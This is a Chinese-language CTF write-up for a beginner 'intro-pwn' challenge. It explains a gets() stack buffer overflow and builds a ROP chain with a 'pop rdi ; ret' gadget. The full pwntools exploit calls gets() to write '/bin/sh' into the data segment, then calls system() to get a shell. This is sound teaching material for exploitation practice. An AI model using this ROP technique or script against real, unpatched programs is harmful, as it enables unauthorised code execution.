Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

题目

这道题给了源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>

// --------------------------------------------------- SETUP


void ignore_me_init_buffering()
{
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}

// --------------------------------------------------- VULNERABLE FUNCTION

void win()
{
system("echo no cat /flag for you");
}

void vuln() {
char name[16];
printf("What is your name?\n");
gets(name);
printf("Hello %s!\nI have a present for you: %d\n", name, 0xc35f);
}

// --------------------------------------------------- MAIN

int main(int argc, char **argv)
{
(void)argc;
(void)argv;

ignore_me_init_buffering();

vuln();
return 0;
}

观察/分析

通过阅读源代码即可发现这道题的核心漏洞:

1
2
3
char name[16];
printf("What is your name?\n");
gets(name);

即利用Buffer Overflow。

首先注意到,虽然说直接调用win()函数并没有任何实际意义,因为它不能帮我们读取flag。但是我们可以利用win()里调用的system()函数。

所以我们现在的思路就是想办法调用system()函数并传入/bin/sh作为参数。

首先利用pwntools里的一个函数

1
2
3
4
5
6
7
8
from pwn import *

elf = context.binary = ELF('./intro-pwn', checksec=False)
p = elf.process()

pop_rdi = next(elf.search(asm('pop rdi ; ret')))
print(pop_rdi)
# 4198917

可以确定这个程序某个地方使用了pop rdi ; ret命令并可以找到它的地址。

先来解释一下这个命令:pop rdi ; ret 会从当前栈顶取出一个值放入 rdi 寄存器(即函数第 1 个参数),然后跳转到下一个地址继续执行。

在 x86-64 System V 调用约定中,函数的第一个参数通过 rdi 传递,它传的是值,不是地址;如果这个值是地址类型(如指针),函数内部才会用它当作地址来读取内容。

ret命令具体执行的内容是:

  1. [rsp] 取 8 字节 → 赋值给 rip(指令指针)
  2. rsp += 8

所以我们可以利用这个命令构造一条这样的ROP链:

1
2
3
payload += p64(pop_rdi)
payload += p64(input_add)
payload += p64(function_add)
1
2
3
[RSP]     →  pop_rdi     ; 第一次 ret 跳进这个 gadget
[RSP+8] → input_add ; 会被 pop 到 rdi
[RSP+16] → function_add ; 再 ret 到这个地址,跳进我们指定的 function_add

相当于执行了

1
function(input)

不过要注意一点:pop rdi 从栈上弹出 8 字节,这个值将被视为 “地址”。也就是说我们无法直接通过这个命令将/bin/sh作为参数传递给system()函数,而是需要将整个过程分2步

  1. 通过调用gets()函数先将/bin/sh写入到data段里的某个地方(我们给定的地址);
  2. 将刚才被写入的地址作为参数传给system()

最后再来确认一下Stack的结构以及我们前面提到的需要的各个地址:

在IDA里点击vuln()函数的name

image-20250619001118377

image-20250619001138399

确认一开始的填充为

1
2
payload  = b"A"*16
payload += b"B"*8

通过Alt+t搜索systemdatagets可以确定:

system的地址:

image-20250619001523939

1
sys_add   = 0x401040

gets()的地址:

image-20250619001657929

Data段开始的地址:

image-20250619001218803

image-20250619001324837

1
data_add  = 0x404028

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

elf = context.binary = ELF('./intro-pwn', checksec=False)
p = elf.process()


sys_add = 0x401040
gets_add = 0x401060
data_add = 0x404028
pop_rdi = next(elf.search(asm('pop rdi ; ret')))


# 第一轮ROP
payload = b"A"*16
payload += b"B"*8

# 将data块的地址作为参数传递给gets函数并调用gets
# 将"/bin/sh"写入data块
payload += p64(pop_rdi)
payload += p64(data_add)
payload += p64(gets_add)



# 第二轮ROP
# 将刚写入的data里的"/bin/sh"作为参数传递给system()函数
payload += p64(pop_rdi)
payload += p64(data_add)
payload += p64(sys_add)

# 发送
p.sendlineafter(b'name?\n', payload)
p.sendline(b"/bin/sh")
p.interactive()